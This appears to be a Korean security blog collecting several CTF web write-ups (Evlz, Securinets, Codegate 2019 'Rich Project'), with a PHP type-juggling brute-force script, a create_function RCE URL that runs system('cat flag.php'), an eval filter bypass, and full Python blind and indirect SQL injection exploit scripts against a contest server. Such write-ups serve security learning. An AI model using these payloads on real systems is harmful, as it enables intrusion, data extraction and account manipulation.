  145.     elif request.method == 'POST':
  146.         try:
  147.             username = request.form.get('username')
  148.             password = request.form.get('password')
  149.             is_user, record = acl.verify(username, password)
  150.             print(is_user)
  151.             if is_user:
  152.                 admin = True if record['admin'] == 'true' else False
  153.             else:
  154.                 raise Exception()
  155.             return render_template('index.html', admin=admin, flag=FLAG, record=record)
  156.         except:
  157.             return redirect(url_for('index'))
  158.  
  159. @app.route('/register', methods=['GET', 'POST'])
  160. def register():
  161.     if request.method == 'GET':
  162.         return render_template('register.html')
  163.     elif request.method == 'POST':
  164.         username = request.form.get('username')
  165.         password = request.form.get('password')
  166.         acl.add_record(username, password, 'false')
  167.  
  168.         return redirect(url_for('index'))
  169.  
  170. if __name__ == '__main__':
  171.     app.run(port=5000, debug=True)



_unpack_data 함수 내에서 데이터를 언패킹하는 과정에서 취약점이 터진다. 간단히 : 문자를 기분으로 split하기 때문에 회원가입 시 패스워드를 youngin:true 형태로 가입해 주면 된다.


그러면 기본적으로 youngin:youngin:false와 같은 구조가 youngin:youngin:true:false가 된다.


위와 같은 형태로 가입 후 id:youngin,pw:youngin 으로 로그인 해주면 되는데 이때 회원가입시 요청한 데이터가 들어가 있는 self.acl_lines 요 값이 로컬에서 테스트해보니 항상 일정하지가 않아서 내가 삽입한 데이터가 존재하지 않는 경우가 있었다.. 그래서 위와 같은 로그인을 여러번 반복해서 해주니 플래그가 나왔다.



Flag = evlz{T#3_W34K_$N4K3}ctf










'CTF > Writeup' 카테고리의 다른 글

Trust CTF 2019 Web Writeup  (0) 2019.02.16
Evlz CTF 2019 FindMe  (0) 2019.02.06
NCSC CTF 2019 Web Wrietup  (0) 2019.02.04
Codegate CTF 2019 Preliminary Rich Project  (0) 2019.01.27
INSOMNIHACK CTF TEASER 2019 Phuck2 :(  (0) 2019.01.22
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

Lock - level 1


들어가보면 5자리 자물쇠가 나온다. 한 자리를 맞출때마다 응답 값에 현재 맞춘 자릿수의 개수를 알려준다.


총 5자리니까 최대 50번만 시도하면 각 자리수의 정답을 알수있다.





Eat'em all


들어가보면 선택가능한 옵션이 8가지가 있는데 최대 4가지 밖에 선택이 안된다. 자바스크립트에서 if (nomber>4) 이 조건을 대충 if(1>4) 이런식으로 수정해서 8개 다 클릭하고 요청하면 플래그 나온다.


Good job, take your flag: Securinets{HuNgRY_Pl4y3r}




MAGIC



들어가보면 위 소스를 제공해 준다. 조건에 맞는 값을 사용해주면 되는데 php의 type juggling을 사용해주면된다. 0e로 시작하는 값들을 brute forcing해서 위 조건에 맞는 값을 찾아주면 된다.


대충 아래와 같이 코드짜서 돌려줬다.


<?php

 $base = "0e";

 $result = "";

 $curr_number = 215961018; 

while (True){

$curr = $base . $curr_number;

  $result = md5($curr);

  if ($result==$curr){

  break;

  }

  $curr_number += 1;

 }

echo "Find Magic Value";

echo "<br>";

echo $curr;

echo "<br>";

echo $result;

echo "<br>";



Find Magic Value

0e215962017

0e291242476940776845150308577824


이제 찾은 0e215962017 요 값을 넣어주면 플래그가 나온다.


Securinets{Gg!H4K3Rm@N}




Token Prediction


전에 풀때는 세션 바꿔가면서 하니까 이상하게 돼서 풀때도 이상했는데, 지금다시 해보니까 잘 안된다. 요건 다시 풀리면 글 추가하도록 하겠다.




Follow me


문제에 들어가보면 아래와 같은 링크가 있다.


<a href="i#have#the?flag" class="btn-lg btn-block btn-primary">Free Flag</a>


요청되는 url을 url encoding해서 요청해주면 플래그가 나온다.

Flag = securinets{Us1ng_UrL_3nC0dInG}



HalflinePhp

들어가보면 소스코드를 제공해준다.


<?php error_reporting(0);highlight_file(__FILE__); $_ $_GET['_'];$__ $_GET['__'];$_(''$__);?>


위 구조에 맞는 php 함수를 사용해주면된다. 아래와 같이 create_function의 취약점을 통해 RCE 해주면 된다.


https://web6.ctfsecurinets.com/?_=create_function&__=}system('cat%20flag.php');//


Flag = Securinets{Th1$_1$_N0t_Th3_FL@G}




pHp knowledge


소스코드를 제공해주는데 아래와 같다.


<?php

$pi=$_POST['cmd'];

if(!isset($pi)) {header("Location: tlol.jpg");die("noooooooooononononono\n");}

if(preg_match('/(\_|\'|\"|`|\.|\$|\/|a|c|s|z|m|require|include)/i', $pi)) { header("Location: tlol.jpg");die("nooooooooooooonooo\n");}

else{

eval($pi.";");

}

?>


php sandbox류인데 필터를 적절히 우회해서 아래와 같이 리스팅이 가능했다.


cmd=print(glob(~%d5)[11])


result = zzzzzzz__fl_ag.txt


위 flag파일을 url로 직접 요청해보면 플래그를 구할 수 있다.


Securinets{I_ThiNk_U_R_G0oD_In_Peehp}























'CTF > Writeup' 카테고리의 다른 글

Evlz CTF 2019 FindMe  (0) 2019.02.06
Evlz CTF 2019 WeTheUsers  (0) 2019.02.04
Codegate CTF 2019 Preliminary Rich Project  (0) 2019.01.27
INSOMNIHACK CTF TEASER 2019 Phuck2 :(  (0) 2019.01.22
Insomnihack CTF Teaser 2019 l33t-hoster  (0) 2019.01.21
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

현재 Writup 제출 기간인 것 같지만 웹 서버 같은 경우 언제 닫힐지 몰라 닫히기 전에 Writeup을 적어놔야 할 것 같아서 비공개로 기록해놓았다. 추후 Writeup이 CtfTime이나 개인블로그 등에 올라오면 공개로 전환하도록 하겠다.


먼저 풀이에 앞서, 해당 문제는 대회시간안에 풀지못하고 대회 종료 후 1시간정도 지나 풀게되어 많이 아쉬움이 남았다..ㅠㅠ


24시간이상 깨어있는 상태로 문제풀어본게 처음이라 대회종료 몇시간전부터는 너무 졸려서 생각없이 얻어걸려라 하는 식으로 문제를 바라봤던게 화근이었던 것 같다.


문제 풀이에 대해 시작해보면 로그인한 계정으로 999999999원짜리 상품을 사야하는데, 기본적으로 주어지는돈이 10000원이다. 대충 금액을 조작해서 위 상품을 사야할 것 같았다.


본격적으로 취약점을 찾아보면 회원가입 시 ac 파라미터에서 SQLI가 터졌다. 코인을 사고파는 페이지 내 MASTER 패스워드를 구하라는 주석이 있었고, 회원가입 시 admin이라는 문자열이 필터링당하고 있어 일단 해당 취약점을 통해 admin 계정의 패스워드를 구해야 할 것 같았다.


본격적으로 데이터를 뽑아보려하니 where,group,concat,limit와 같은 키워드들이 필터링당하고 있어 특정 조건의 데이터 뽑기가 쉽지 않았다.


일단 아래와 같이 having절을 통해 users라는 테이블이 존재하는 걸 알 수 있었고,


having table_name like 0x757365727325


해당 테이블 내 칼럼명과 같은 경우는 회원가입 시 요청하는 파라미터명과 동일하여 테이블 내 데이터를 뽑을 수 있는 상황이 되었다.


일단 어드민을 지정하여 데이터를 뽑을 수가 없어 패스워드가 어떤형태로 디비에 저장되는지 아래와 같은 코드를 통해 확인해보았다.



import requests

import time


def request(payload):

    start = time.time()

    url = "http://110.10.147.112/?p=reg"

    data = {'id':'345234aaa','pw':'123456','ac':payload}

    headers = {'Cookie':'PHPSESSID='}

    response = requests.post(url,data=data,headers=headers)

    end = time.time()

    return end-start


length = 0

data = ""

binary = ""

for j in range(1,100):

    binary = ""

    for i in range(1,9):

        payload = "'),(if(substring(lpad(bin(ord(substring((select max(pw) from users a),"+str(j)+",1))),8,0),"+str(i)+",1)=1,(select 1 union select 2),sleep(0.5)),238333343453453454359222023840234,2342342333333333333333333333333333333333333333333333333333333333333333334234)#"

        if request(payload)>0.3:

            binary += "0"

        else:

            binary += "1"

    data += chr(int(binary,2))

    print "[-]Find Data = " + data


print "[*]Find Data = " + data


패스워드와 같은 경우 sha1으로 저장되고 있었다. 또한 salt값 없이 데이터를 sha1 처리하고 있어서 아래와 같은 구문을 통해 id값에 SQLI 구문을 담아 indirect SQLI를 터트릴 수 있었다.


 '),(인젝션 값,sha1(1234),1234)#


이제 id에 SQLI구문을 담아 info, board 페이지를 들어가보면 indirect 인젝션이 터지는 걸 볼 수 있는데, 여기서 union 구문을 통해 info 페이지 접근 시 gold 값을 조작할 수 있지 않을까 싶었다.


그래서 ' union select 1,2,3,4,5# 요런식으로 값을 id에 담고 시도해보니 2번째 칼럼값이 gold에 지정되는걸 볼 수 있었다.


이제 ' union select 1,999999999,3,4,5# 이렇게 지정해서 상품을 구매하면 되겠구나 했는데 id값에 길이제한이 32로 제한되어있었고 위의 구문이 33글자였다. 여기서 한참 고민하다 ' union select 1,1e9,3,4,5# 요런식으로 길이제한을 bypass 할 수 있는 방법이 떠올랐고 실제로 시도해보니 1000000000원이 충전되어서 상품을 구매할 수 있었다.


여기서 끝나겠구나 했는데 실제로 상품을 사보니 이번엔 who are you?라는 문구를 통해 계정을 구매한 사용자에 대한 검증을 하고 있었다.


사용자 검증을 우회해보려고 아래와 같은 구문들을 막 넣어보았는데 잘 되지 않았다.


' union select'admin',1e9,3,4,5#

admin'union select 1,1e9,3,4,5#

' union select "'||1#",1e9,3,4,5#

등등..


이때가 새벽 5시인가 되었는데 너무 졸리다 보니 저 구문에서 어떻게든 끝나길 바래서 다른 부분들을 생각하지 못하고 얻어걸려라 하는식으로 생각없이 아무값이나 넣고 있었다.


그러다 도저히 안풀려서 다른 페이지들에 접근해보니 문제풀기 초반에 봤었던 마스터 패스워드를 구하라는 구문과 게시판 내 존재하던 관리자의 비밀글이 눈에 들어오기 시작했다. 


master 계정 패스워드와 같은 경우 디비에 존재할거라 생각했는데 딱히 master,admin으로 보이는 계정의 패스워드를 디비에서 찾지 못해서 중요한게 아닌가?하고 넘어갔었는데 마스터 계정 패스워드가 비밀글에 있을 수 있다는 생각을 하지 못했던게 문제였다. 아 비밀글 데이터를 인젝션으로 뽑아야겠구나..라고 깨닫았을 때가 6~7시쯤이었는데 이미 지칠대로 지쳐버렸고 시간도 얼마 안남아서 새로 코드짜서 문제 풀기엔 무리겠구나 라는 생각에 포기하고 집으로 돌아왔다..ㅠㅠ


그 후 집에와서 대회는 종료되었지만, 아쉬운 마음에 조금 더 문제를 풀어보았고 아래와 같은 코드를 통해 어드민의 비밀글 내 존재하는 마스터 패스워드를 구할 수 있었다. 그 후 구한 패스워드로 비밀번호가 걸려있든 압축된 소스파일을 해제해보면 플래그를 얻기 위해 아래와 같이 금액 조작 후 마스터 패스워드를 같이 보내주면 되는걸 알아낼 수 있었다.




최종적으로 익스한 코드는 아래와 같다.


codegate2019_ProjectRich_exploit.py


import requests

import random


def request_join(payload):

    url = "http://110.10.147.112/?p=reg"

    data = {'id': "youngsin"+str(int(random.random()*100000000000)), 'pw': '123456', 'ac': "'),("+payload+",sha1(1234),1234)#"}

    headers = {'Cookie': 'PHPSESSID=pbsa758nahvrkff7uv7g8052mf'}

    response = requests.post(url, data=data, headers=headers)



def request_logout():

    url = "http://110.10.147.112/?p=logout"

    headers = {'Cookie': 'PHPSESSID=pbsa758nahvrkff7uv7g8052mf'}

    response = requests.get(url, headers=headers)


def request_login(payload):

    url = "http://110.10.147.112/?p=login"

    data = {'id': payload, 'pw': '1234', 'ac': '1234'}

    headers = {'Cookie': 'PHPSESSID=pbsa758nahvrkff7uv7g8052mf'}

    response = requests.post(url, data=data, headers=headers)


def request_bbsView():

    url = "http://110.10.147.112/?p=bbs&page=1"

    headers = {'Cookie': 'PHPSESSID=pbsa758nahvrkff7uv7g8052mf'}

    response = requests.get(url, headers=headers)

    if "<td>-1</td><td><a href=./?p=read&no=-1>TOP SECRET" in response.text:

        return True

    else:

        return False


def get_master_password():

    result = ""

    for i in range(0, 200):

        for j in range(0, 127):

            payload = "'||substr(contents," + str(i) + ",1)=" + hex(j) + "#"

            request_join("0x" + payload.encode("hex"))

            request_logout()

            request_login(payload)

            if request_bbsView() == True:

                result += chr(j)

                print result

                request_logout()

                break

            else:

                request_logout()


def get_flag():

    payload = "r'union select 7,9e9,1,2,3#"

    request_logout()

    request_join("0x" + payload.encode("hex"))

    request_logout()

    request_login(payload)


    url = "http://110.10.147.112/?p=pay&key=D0_N0T_RE1E@5E_0THER5"

    headers = {'Cookie': 'PHPSESSID=pbsa758nahvrkff7uv7g8052mf'}

    response = requests.get(url, headers=headers)

    result = response.text

    print "FIND Flag[*] = " + result[result.find("FLAG"):]



if __name__ == "__main__":

    get_master_password()  ## get master password = D0_N0T_RE1E@5E_0THER5

    get_flag()




FIND Flag[*] = FLAG{H0LD_Y0UR_C0IN_T0_9999-O9-O9!}















'CTF > Writeup' 카테고리의 다른 글

Evlz CTF 2019 WeTheUsers  (0) 2019.02.04
NCSC CTF 2019 Web Wrietup  (0) 2019.02.04
INSOMNIHACK CTF TEASER 2019 Phuck2 :(  (0) 2019.01.22
Insomnihack CTF Teaser 2019 l33t-hoster  (0) 2019.01.21
ROOT CTF 2017 ROOT Ransomware  (0) 2019.01.02
블로그 이미지

JeonYoungSin

메모 기록용 공간

,